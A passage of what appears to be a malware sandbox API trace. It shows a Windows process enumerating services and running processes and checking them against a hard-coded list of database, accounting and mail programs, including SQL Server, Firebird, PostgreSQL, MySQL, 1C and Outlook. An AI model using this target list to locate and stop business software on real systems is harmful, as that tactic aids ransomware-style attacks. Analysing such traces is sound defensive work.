lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0162.015] CloseHandle (hObject=0x1b4) returned 1 [0162.015] Sleep (dwMilliseconds=0x1f4) [0162.662] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0162.662] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0162.662] GetLastError () returned 0xea [0162.662] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4285088 [0162.662] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0162.663] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0162.663] lstrlenW (lpString="Appinfo") returned 7 [0162.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0162.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0162.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0162.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0162.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0162.663] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0162.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.663] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0162.663] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0162.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0162.663] lstrlenW (lpString="AudioSrv") returned 8 [0162.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0162.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0162.664] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0162.664] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0162.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0162.664] lstrlenW (lpString="BFE") returned 3 [0162.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0162.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0162.664] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0162.664] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0162.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0162.664] lstrlenW (lpString="CryptSvc") returned 8 [0162.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0162.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0162.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0162.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0162.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0162.664] lstrlenW (lpString="CscService") returned 10 [0162.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0162.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0162.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0162.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0162.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0162.664] lstrlenW (lpString="DcomLaunch") returned 10 [0162.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0162.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0162.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0162.664] lstrlenW (lpString="Dhcp") returned 4 [0162.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0162.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0162.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0162.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0162.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0162.664] lstrlenW (lpString="Dnscache") returned 8 [0162.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0162.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0162.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0162.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0162.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0162.665] lstrlenW (lpString="DPS") returned 3 [0162.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0162.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0162.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0162.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0162.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0162.665] lstrlenW (lpString="eventlog") returned 8 [0162.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0162.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0162.665] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0162.665] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0162.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0162.665] lstrlenW (lpString="EventSystem") returned 11 [0162.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0162.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0162.665] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0162.665] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0162.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0162.665] lstrlenW (lpString="gpsvc") returned 5 [0162.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0162.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0162.666] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0162.666] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0162.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0162.666] lstrlenW (lpString="iphlpsvc") returned 8 [0162.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.666] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0162.666] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0162.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0162.666] lstrlenW (lpString="LanmanServer") returned 12 [0162.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0162.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0162.666] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0162.666] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0162.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0162.667] lstrlenW (lpString="LanmanWorkstation") returned 17 [0162.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.667] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0162.667] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0162.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0162.667] lstrlenW (lpString="lmhosts") returned 7 [0162.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0162.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0162.667] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0162.667] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0162.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0162.667] lstrlenW (lpString="MMCSS") returned 5 [0162.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0162.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0162.667] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0162.667] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0162.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0162.667] lstrlenW (lpString="MpsSvc") returned 6 [0162.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0162.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0162.667] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0162.667] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0162.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0162.667] lstrlenW (lpString="Netman") returned 6 [0162.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0162.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0162.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0162.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0162.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0162.667] lstrlenW (lpString="netprofm") returned 8 [0162.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0162.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0162.667] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0162.668] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0162.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0162.668] lstrlenW (lpString="NlaSvc") returned 6 [0162.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0162.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0162.668] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0162.668] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0162.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0162.668] lstrlenW (lpString="nsi") returned 3 [0162.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0162.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0162.668] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0162.668] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0162.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0162.668] lstrlenW (lpString="PcaSvc") returned 6 [0162.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0162.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0162.668] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0162.668] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0162.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0162.668] lstrlenW (lpString="PlugPlay") returned 8 [0162.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0162.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0162.668] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0162.668] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0162.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0162.668] lstrlenW (lpString="Power") returned 5 [0162.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0162.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0162.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0162.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0162.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0162.668] lstrlenW (lpString="ProfSvc") returned 7 [0162.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0162.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0162.668] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0162.669] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0162.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0162.669] lstrlenW (lpString="RpcEptMapper") returned 12 [0162.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.669] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0162.669] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0162.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0162.669] lstrlenW (lpString="RpcSs") returned 5 [0162.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0162.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0162.669] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0162.669] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0162.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0162.669] lstrlenW (lpString="SamSs") returned 5 [0162.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0162.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0162.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0162.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0162.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0162.669] lstrlenW (lpString="Schedule") returned 8 [0162.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0162.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0162.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0162.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0162.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0162.669] lstrlenW (lpString="SENS") returned 4 [0162.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0162.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0162.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0162.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0162.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0162.669] lstrlenW (lpString="ShellHWDetection") returned 16 [0162.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.669] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0162.670] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0162.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0162.670] lstrlenW (lpString="Spooler") returned 7 [0162.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0162.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0162.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0162.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0162.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0162.670] lstrlenW (lpString="SysMain") returned 7 [0162.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0162.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0162.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0162.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0162.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0162.670] lstrlenW (lpString="Themes") returned 6 [0162.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0162.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0162.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0162.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0162.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0162.670] lstrlenW (lpString="TrkWks") returned 6 [0162.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0162.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0162.670] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0162.670] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0162.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0162.670] lstrlenW (lpString="UxSms") returned 5 [0162.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0162.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0162.670] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0162.670] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0162.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0162.670] lstrlenW (lpString="WdiServiceHost") returned 14 [0162.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.671] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0162.671] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0162.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0162.671] lstrlenW (lpString="WdiSystemHost") returned 13 [0162.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.671] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0162.671] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0162.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0162.671] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0162.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.671] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0162.671] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0162.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0162.671] lstrlenW (lpString="Winmgmt") returned 7 [0162.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0162.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0162.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0162.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0162.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0162.671] lstrlenW (lpString="WPDBusEnum") returned 10 [0162.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.671] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0162.671] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0162.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0162.671] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0162.671] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0162.674] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.674] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.674] lstrlenW (lpString="System") returned 6 [0162.675] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0162.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0162.675] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0162.675] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0162.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0162.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0162.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0162.675] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.675] lstrlenW (lpString="smss.exe") returned 8 [0162.675] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0162.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0162.675] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0162.675] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0162.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0162.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0162.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0162.675] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.675] lstrlenW (lpString="csrss.exe") returned 9 [0162.676] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.676] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.676] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0162.676] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.676] lstrlenW (lpString="wininit.exe") returned 11 [0162.676] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0162.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0162.676] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0162.676] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0162.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0162.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0162.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0162.676] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.677] lstrlenW (lpString="csrss.exe") returned 9 [0162.677] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.677] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.677] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.677] lstrcmpiW 